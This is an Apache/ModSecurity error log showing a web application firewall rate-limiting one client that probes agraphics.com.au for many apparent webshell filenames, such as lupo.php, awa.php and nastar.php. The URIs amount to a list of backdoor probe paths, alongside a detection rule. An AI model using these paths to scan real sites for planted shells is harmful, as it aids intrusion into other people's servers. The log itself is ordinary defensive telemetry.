[Fri Apr 17 00:04:13.059542 2026] [:error] [pid 43386:tid 43434] [client 158.158.73.200:24324] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lupo.php"] [unique_id "aeEIfe91GAVgUfhPVDGhXwAAAE4"]
[Fri Apr 17 00:04:13.779684 2026] [:error] [pid 43482:tid 43498] [client 158.158.73.200:51787] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aeEIfT9SZnuKxlHrct1jEAAAAM4"]
[Fri Apr 17 00:04:14.390028 2026] [:error] [pid 43387:tid 43472] [client 158.158.73.200:59983] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aeEIfiBNsONqHxWTakUYVAAAAJM"]
[Fri Apr 17 00:04:15.094939 2026] [:error] [pid 43386:tid 43442] [client 158.158.73.200:47155] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aeEIf-91GAVgUfhPVDGhYgAAAFU"]
[Fri Apr 17 00:04:15.894804 2026] [:error] [pid 43482:tid 43493] [client 158.158.73.200:59588] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awa.php"] [unique_id "aeEIfz9SZnuKxlHrct1jGAAAAMk"]
[Fri Apr 17 00:04:17.033672 2026] [:error] [pid 43385:tid 43410] [client 158.158.73.200:64057] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "aeEIgcnIxkJaUI8KNs7nBAAAABQ"]
[Fri Apr 17 00:04:18.001027 2026] [:error] [pid 43482:tid 43507] [client 158.158.73.200:51802] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "aeEIgj9SZnuKxlHrct1jLQAAANc"]
[Fri Apr 17 00:04:18.865276 2026] [:error] [pid 43482:tid 43490] [client 158.158.73.200:64025] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "aeEIgj9SZnuKxlHrct1jNwAAAMY"]
[Fri Apr 17 00:04:19.621884 2026] [:error] [pid 43387:tid 43457] [client 158.158.73.200:47166] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/popo.php"] [unique_id "aeEIgyBNsONqHxWTakUYbQAAAIY"]
[Fri Apr 17 00:04:20.360849 2026] [:error] [pid 43387:tid 43472] [client 158.158.73.200:64137] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aeEIhCBNsONqHxWTakUYbgAAAJM"]
[Fri Apr 17 00:04:21.131715 2026] [:error] [pid 43386:tid 43426] [client 158.158.73.200:64145] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aeEIhe91GAVgUfhPVDGhfgAAAEY"]
[Fri Apr 17 00:04:21.646615 2026] [:error] [pid 43387:tid 43473] [client 158.158.73.200:64003] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aeEIhSBNsONqHxWTakUYdgAAAJQ"]
[Fri Apr 17 00:04:22.415693 2026] [:error] [pid 43482:tid 43484] [client 158.158.73.200:24431] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aeEIhj9SZnuKxlHrct1jUAAAAMA"]
[Fri Apr 17 00:04:23.987670 2026] [:error] [pid 43482:tid 43489] [client 158.158.73.200:24343] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aeEIhz9SZnuKxlHrct1jWwAAAMU"]
[Fri Apr 17 00:04:25.496376 2026] [:error] [pid 43386:tid 43438] [client 158.158.73.200:24345] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aeEIie91GAVgUfhPVDGhjQAAAFI"]
[Fri Apr 17 00:04:31.408919 2026] [:error] [pid 43386:tid 43443] [client 158.158.73.200:60024] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aeEIj-91GAVgUfhPVDGhkwAAAFY"]
[Fri Apr 17 00:04:33.392702 2026] [:error] [pid 43482:tid 43498] [client 158.158.73.200:51815] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aeEIkT9SZnuKxlHrct1jeQAAAM4"]
[Fri Apr 17 00:04:35.140191 2026] [:error] [pid 43385:tid 43413] [client 158.158.73.200:51833] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aeEIk8nIxkJaUI8KNs7nLgAAABc"]
[Fri Apr 17 00:04:35.827927 2026] [:error] [pid 43386:tid 43420] [client 158.158.73.200:59597] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aeEIk-91GAVgUfhPVDGhpQAAAEA"]
[Fri Apr 17 00:04:37.956061 2026] [proxy_fcgi:error] [pid 43482:tid 43504] [client 158.158.73.200:47107] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:04:38.651041 2026] [proxy_fcgi:error] [pid 43482:tid 43494] [client 158.158.73.200:47107] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:04:38.917063 2026] [proxy_fcgi:error] [pid 43482:tid 43498] [client 158.158.73.200:47107] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:04:39.248816 2026] [proxy_fcgi:error] [pid 43482:tid 43491] [client 158.158.73.200:47107] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:04:39.612407 2026] [proxy_fcgi:error] [pid 43482:tid 43506] [client 158.158.73.200:47107] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:04:39.882950 2026] [proxy_fcgi:error] [pid 43482:tid 43488] [client 158.158.73.200:47107] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:04:40.426556 2026] [proxy_fcgi:error] [pid 43482:tid 43504] [client 158.158.73.200:47107] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:04:40.699321 2026] [proxy_fcgi:error] [pid 43482:tid 43502] [client 158.158.73.200:47107] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:04:41.164769 2026] [proxy_fcgi:error] [pid 43482:tid 43501] [client 158.158.73.200:47107] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:04:41.439769 2026] [proxy_fcgi:error] [pid 43482:tid 43508] [client 158.158.73.200:47107] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 00:04:41.797801 2026] [:error] [pid 43482:tid 43485] [client 158.158.73.200:47107] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeEImT9SZnuKxlHrct1jpgAAAME"]
[Fri Apr 17 00:04:42.951520 2026] [:error] [pid 43482:tid 43494] [client 158.158.73.200:24338] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeEImj9SZnuKxlHrct1jqAAAAMo"]
[Fri Apr 17 00:04:44.322921 2026] [:error] [pid 43387:tid 43462] [client 158.158.73.200:64147] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeEInCBNsONqHxWTakUYsQAAAIs"]
[Fri Apr 17 00:04:45.348029 2026] [:error] [pid 43387:tid 43449] [client 158.158.73.200:22000] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "aeEInSBNsONqHxWTakUYsgAAAIE"]
[Fri Apr 17 00:04:46.346624 2026] [:error] [pid 43387:tid 43475] [client 158.158.73.200:20180] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeEIniBNsONqHxWTakUYswAAAJY"]
[Fri Apr 17 00:04:47.057000 2026] [:error] [pid 43387:tid 43468] [client 158.158.73.200:47121] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeEInyBNsONqHxWTakUYtQAAAI8"]
[Fri Apr 17 00:04:47.946434 2026] [:error] [pid 43387:tid 43465] [client 158.158.73.200:64165] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeEInyBNsONqHxWTakUYtwAAAIw"]
[Fri Apr 17 00:04:49.031059 2026] [:error] [pid 43387:tid 43467] [client 158.158.73.200:64035] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "aeEIoSBNsONqHxWTakUYuQAAAI4"]
[Fri Apr 17 00:04:51.028041 2026] [:error] [pid 43482:tid 43497] [client 158.158.73.200:60027] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeEIoz9SZnuKxlHrct1jtQAAAM0"]
[Fri Apr 17 00:04:51.943345 2026] [:error] [pid 43385:tid 43392] [client 158.158.73.200:51778] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeEIo8nIxkJaUI8KNs7nPgAAAAM"]
[Fri Apr 17 00:04:53.047074 2026] [:error] [pid 43482:tid 43495] [client 158.158.73.200:64163] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeEIpT9SZnuKxlHrct1juwAAAMs"]
[Fri Apr 17 00:04:54.059721 2026] [:error] [pid 43482:tid 43487] [client 158.158.73.200:60026] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "aeEIpj9SZnuKxlHrct1jwAAAAMM"]
[Fri Apr 17 00:04:55.058704 2026] [:error] [pid 43386:tid 43423] [client 158.158.73.200:64189] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeEIp-91GAVgUfhPVDGhtQAAAEM"]
[Fri Apr 17 00:04:55.791568 2026] [:error] [pid 43482:tid 43507] [client 158.158.73.200:59992] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeEIpz9SZnuKxlHrct1jxAAAANc"]
[Fri Apr 17 00:04:56.814809 2026] [:error] [pid 43482:tid 43506] [client 158.158.73.200:64141] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeEIqD9SZnuKxlHrct1jxwAAANY"]
[Fri Apr 17 00:04:57.450933 2026] [:error] [pid 43386:tid 43442] [client 158.158.73.200:47115] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "aeEIqe91GAVgUfhPVDGhuQAAAFU"]
[Fri Apr 17 00:04:58.043830 2026] [:error] [pid 43386:tid 43431] [client 158.158.73.200:64046] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeEIqu91GAVgUfhPVDGhvAAAAEs"]
[Fri Apr 17 00:04:58.980359 2026] [:error] [pid 43386:tid 43433] [client 158.158.73.200:59994] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeEIqu91GAVgUfhPVDGhvQAAAE0"]
[Fri Apr 17 00:05:00.377066 2026] [:error] [pid 43482:tid 43507] [client 158.158.73.200:24441] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeEIrD9SZnuKxlHrct1j0wAAANc"]
[Fri Apr 17 00:05:01.567914 2026] [:error] [pid 43482:tid 43507] [client 158.158.73.200:47109] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "aeEIrT9SZnuKxlHrct1j4QAAANc"]
[Fri Apr 17 00:05:02.700383 2026] [:error] [pid 43385:tid 43415] [client 158.158.73.200:22005] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "aeEIrsnIxkJaUI8KNs7nSgAAABg"]
[Fri Apr 17 00:05:03.858438 2026] [:error] [pid 43482:tid 43493] [client 158.158.73.200:59614] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "aeEIrz9SZnuKxlHrct1j_QAAAMk"]
[Fri Apr 17 00:05:04.623411 2026] [:error] [pid 43482:tid 43492] [client 158.158.73.200:24426] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "aeEIsD9SZnuKxlHrct1kBQAAAMg"]
[Fri Apr 17 00:05:05.192244 2026] [:error] [pid 43482:tid 43487] [client 158.158.73.200:24332] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "aeEIsT9SZnuKxlHrct1kBwAAAMM"]
[Fri Apr 17 00:05:06.064683 2026] [:error] [pid 43387:tid 43465] [client 158.158.73.200:24384] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeEIsiBNsONqHxWTakUYxwAAAIw"]
[Fri Apr 17 00:05:06.990219 2026] [:error] [pid 43482:tid 43501] [client 158.158.73.200:24366] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeEIsj9SZnuKxlHrct1kEQAAANE"]
[Fri Apr 17 00:05:08.276906 2026] [:error] [pid 43482:tid 43507] [client 158.158.73.200:24394] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeEItD9SZnuKxlHrct1kHQAAANc"]
[Fri Apr 17 00:05:09.991443 2026] [:error] [pid 43385:tid 43400] [client 158.158.73.200:20261] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeEItcnIxkJaUI8KNs7nZQAAAAs"]
[Fri Apr 17 00:05:10.809030 2026] [:error] [pid 43385:tid 43401] [client 158.158.73.200:64149] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aeEItsnIxkJaUI8KNs7nbgAAAAw"]
[Fri Apr 17 00:05:12.021755 2026] [:error] [pid 43386:tid 43428] [client 158.158.73.200:59598] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aeEIuO91GAVgUfhPVDGh3wAAAEg"]
[Fri Apr 17 00:05:13.323791 2026] [:error] [pid 43387:tid 43469] [client 158.158.73.200:59988] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aeEIuSBNsONqHxWTakUY0gAAAJA"]
[Fri Apr 17 00:05:14.092630 2026] [:error] [pid 43482:tid 43491] [client 158.158.73.200:51813] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_S.php"] [unique_id "aeEIuj9SZnuKxlHrct1kMwAAAMc"]
[Fri Apr 17 00:05:14.813803 2026] [:error] [pid 43387:tid 43460] [client 158.158.73.200:60003] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeEIuiBNsONqHxWTakUY1gAAAIk"]
[Fri Apr 17 00:05:15.584526 2026] [:error] [pid 43387:tid 43458] [client 158.158.73.200:21949] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeEIuyBNsONqHxWTakUY3AAAAIc"]
[Fri Apr 17 00:05:16.686397 2026] [:error] [pid 43385:tid 43407] [client 158.158.73.200:24437] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2026w.php"] [unique_id "aeEIvMnIxkJaUI8KNs7nfAAAABI"]
